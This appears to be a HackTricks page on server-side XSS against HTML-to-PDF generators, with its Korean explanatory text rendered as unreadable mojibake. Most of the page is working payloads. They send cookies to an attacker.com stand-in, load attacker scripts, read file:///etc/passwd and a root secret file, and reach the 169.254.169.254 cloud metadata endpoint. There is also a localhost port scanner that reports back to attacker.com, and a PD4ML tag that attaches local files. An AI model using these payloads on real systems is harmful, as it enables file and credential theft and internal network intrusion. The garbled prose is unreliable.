Server Side XSS (Dynamic PDF)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Server Side XSS (Dynamic PDF)
์ฌ์ฉ์ ์ ์ด ์
๋ ฅ์ ์ฌ์ฉํ์ฌ PDF๋ฅผ ์์ฑํ๋ ์น ํ์ด์ง๊ฐ ์๋ ๊ฒฝ์ฐ, PDF๋ฅผ ์์ฑํ๋ ๋ด์ ์์ฌ์ ์์์ JS ์ฝ๋๋ฅผ ์คํํ๋๋ก ์๋ํ ์ ์์ต๋๋ค.
๋ฐ๋ผ์ PDF ์์ฑ๊ธฐ ๋ด์ด ์ด๋ค ์ข
๋ฅ์ HTML ํ๊ทธ๋ฅผ ์ฐพ์ผ๋ฉด, ์ด๋ฅผ ํด์ํ๊ฒ ๋๊ณ , ์ด ๋์์ ์
์ฉํ์ฌ ์๋ฒ XSS๋ฅผ ์ ๋ฐํ ์ ์์ต๋๋ค.
<script></script> ํ๊ทธ๋ ํญ์ ์๋ํ์ง ์์ผ๋ฏ๋ก, JS๋ฅผ ์คํํ๊ธฐ ์ํด ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ํ์ํฉ๋๋ค (์: <img ์
์ฉ).
๋ํ, ์ผ๋ฐ์ ์ธ ์ต์คํ๋ก์์์๋ ์์ฑ๋ PDF๋ฅผ ๋ณด๊ณ /๋ค์ด๋ก๋ํ ์ ์์ผ๋ฏ๋ก, JS๋ฅผ ํตํด ์์ฑํ ๋ชจ๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค (์: document.write() ์ฌ์ฉ). ๊ทธ๋ฌ๋ ์์ฑ๋ PDF๋ฅผ ๋ณผ ์ ์๋ค๋ฉด, ์๋ง๋ ์น ์์ฒญ์ ํตํด ์ ๋ณด๋ฅผ ์ถ์ถํด์ผ ํ ๊ฒ์
๋๋ค (Blind).
Popular PDF generation
- wkhtmltopdf๋ HTML๊ณผ CSS๋ฅผ PDF ๋ฌธ์๋ก ๋ณํํ๋ ๋ฅ๋ ฅ์ผ๋ก ์๋ ค์ ธ ์์ผ๋ฉฐ, WebKit ๋ ๋๋ง ์์ง์ ํ์ฉํฉ๋๋ค. ์ด ๋๊ตฌ๋ ์คํ ์์ค ๋ช ๋ น์ค ์ ํธ๋ฆฌํฐ๋ก ์ ๊ณต๋์ด ๋ค์ํ ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- TCPDF๋ PDF ์์ฑ์ ์ํ PHP ์ํ๊ณ ๋ด์์ ๊ฐ๋ ฅํ ์๋ฃจ์ ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ฏธ์ง, ๊ทธ๋ํฝ ๋ฐ ์ํธํ๋ฅผ ์ฒ๋ฆฌํ ์ ์์ด ๋ณต์กํ ๋ฌธ์๋ฅผ ์์ฑํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
- Node.js ํ๊ฒฝ์์ ์์ ํ๋ ๊ฒฝ์ฐ, PDFKit์ด ์ ์ฉํ ์ต์ ์ ์ ๊ณตํฉ๋๋ค. HTML ๋ฐ CSS์์ ์ง์ PDF ๋ฌธ์๋ฅผ ์์ฑํ ์ ์์ด ์น ์ฝํ ์ธ ์ ์ธ์ ๊ฐ๋ฅํ ํ์ ๊ฐ์ ๋ค๋ฆฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
- Java ๊ฐ๋ฐ์๋ PDF ์์ฑ๋ฟ๋ง ์๋๋ผ ๋์งํธ ์๋ช ๋ฐ ์์ ์์ฑ๊ณผ ๊ฐ์ ๊ณ ๊ธ ๊ธฐ๋ฅ์ ์ง์ํ๋ iText ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ ํธํ ์ ์์ต๋๋ค. ์ด ํฌ๊ด์ ์ธ ๊ธฐ๋ฅ ์ธํธ๋ ์์ ํ๊ณ ์ํธ์์ฉ์ด ๊ฐ๋ฅํ ๋ฌธ์๋ฅผ ์์ฑํ๋ ๋ฐ ์ ํฉํฉ๋๋ค.
- FPDF๋ ๋จ์์ฑ๊ณผ ์ฌ์ฉ ์ฉ์ด์ฑ์ผ๋ก ๊ตฌ๋ณ๋๋ ๋ ๋ค๋ฅธ PHP ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋๋ค. ๊ด๋ฒ์ํ ๊ธฐ๋ฅ ์์ด PDF ์์ฑ์ ์ํ ๊ฐ๋จํ ์ ๊ทผ ๋ฐฉ์์ ์ฐพ๋ ๊ฐ๋ฐ์๋ฅผ ์ํด ์ค๊ณ๋์์ต๋๋ค.
Payloads
Discovery
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
SVG
์ด์ ์ ๋ชจ๋ ํ์ด๋ก๋๋ ์ด SVG ํ์ด๋ก๋ ๋ด์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. Burpcollab ์๋ธ๋๋ฉ์ธ์ ์ ๊ทผํ๋ iframe๊ณผ ๋ฉํ๋ฐ์ดํฐ ์๋ํฌ์ธํธ์ ์ ๊ทผํ๋ ๋ ๋ค๋ฅธ iframe์ด ์๋ก ์ ์๋ฉ๋๋ค.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
๋ง์ ๋ค๋ฅธ SVG ํ์ด๋ก๋๋ฅผ https://github.com/allanlw/svg-cheatsheet์์ ์ฐพ์ ์ ์์ต๋๋ค.
๊ฒฝ๋ก ๋ ธ์ถ
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Load an external script
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ๊ฐ์ฅ ์ ํฉํ ๋ฐฉ๋ฒ์ ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๋ด์ด ๋ก์ปฌ์์ ๋น์ ์ด ์ ์ดํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ๊ฒ ๋ง๋๋ ๊ฒ์ ๋๋ค. ๊ทธ๋ฌ๋ฉด ๋ก์ปฌ์์ ํ์ด๋ก๋๋ฅผ ๋ณ๊ฒฝํ๊ณ ๋งค๋ฒ ๋์ผํ ์ฝ๋๋ก ๋ด์ด ์ด๋ฅผ ๋ก๋ํ๊ฒ ํ ์ ์์ต๋๋ค.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
๋ก์ปฌ ํ์ผ ์ฝ๊ธฐ / SSRF
Warning
file:///etc/passwd๋ฅผhttp://169.254.169.254/latest/user-data๋ก ๋ณ๊ฒฝํ์ฌ ์ธ๋ถ ์น ํ์ด์ง์ ์ ๊ทผํด ๋ณด์ธ์ (SSRF).SSRF๊ฐ ํ์ฉ๋์ง๋ง ํฅ๋ฏธ๋ก์ด ๋๋ฉ์ธ์ด๋ IP์ ๋๋ฌํ ์ ์๋ ๊ฒฝ์ฐ, ์ด ํ์ด์ง๋ฅผ ํ์ธํ์ฌ ์ ์ฌ์ ์ธ ์ฐํ ๋ฐฉ๋ฒ์ ์ฐพ์๋ณด์ธ์.
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
๋ด ์ง์ฐ
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
ํฌํธ ์ค์บ
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
์ด ์ทจ์ฝ์ ์ SSRF๋ก ๋งค์ฐ ์ฝ๊ฒ ๋ณํ๋ ์ ์์ต๋๋ค(์คํฌ๋ฆฝํธ๊ฐ ์ธ๋ถ ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋๋ก ๋ง๋ค ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค). ๊ทธ๋ฌ๋ ์ด๋ฅผ ์ด์ฉํด ๋ณด์ธ์(๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด๋ณด์ธ์?).
Attachments: PD4ML
PDF์ ์ฒจ๋ถํ์ผ์ ์ง์ ํ ์ ์๋ HTML 2 PDF ์์ง์ด ๋ช ๊ฐ์ง ์์ต๋๋ค, ์๋ฅผ ๋ค์ด PD4ML. ์ด ๊ธฐ๋ฅ์ ์
์ฉํ์ฌ ๋ก์ปฌ ํ์ผ์ PDF์ ์ฒจ๋ถํ ์ ์์ต๋๋ค.
์ฒจ๋ถํ์ผ์ ์ด๊ธฐ ์ํด Firefox๋ก ํ์ผ์ ์ด๊ณ ํด๋ฆฝ ๊ธฐํธ๋ฅผ ๋๋ธ ํด๋ฆญํ์ฌ ์ฒจ๋ถํ์ผ์ ์ ํ์ผ๋ก ์ ์ฅํ์ต๋๋ค.
burp๋ก PDF ์๋ต์ ์บก์ฒํ๋ฉด PDF ๋ด์์ ์ฒจ๋ถํ์ผ์ด ์ผ๋ฐ ํ
์คํธ๋ก ํ์๋ฉ๋๋ค.
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>
References
- https://lbherrera.github.io/lab/h1415-ctf-writeup.html
- https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
- https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
- https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c
- https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


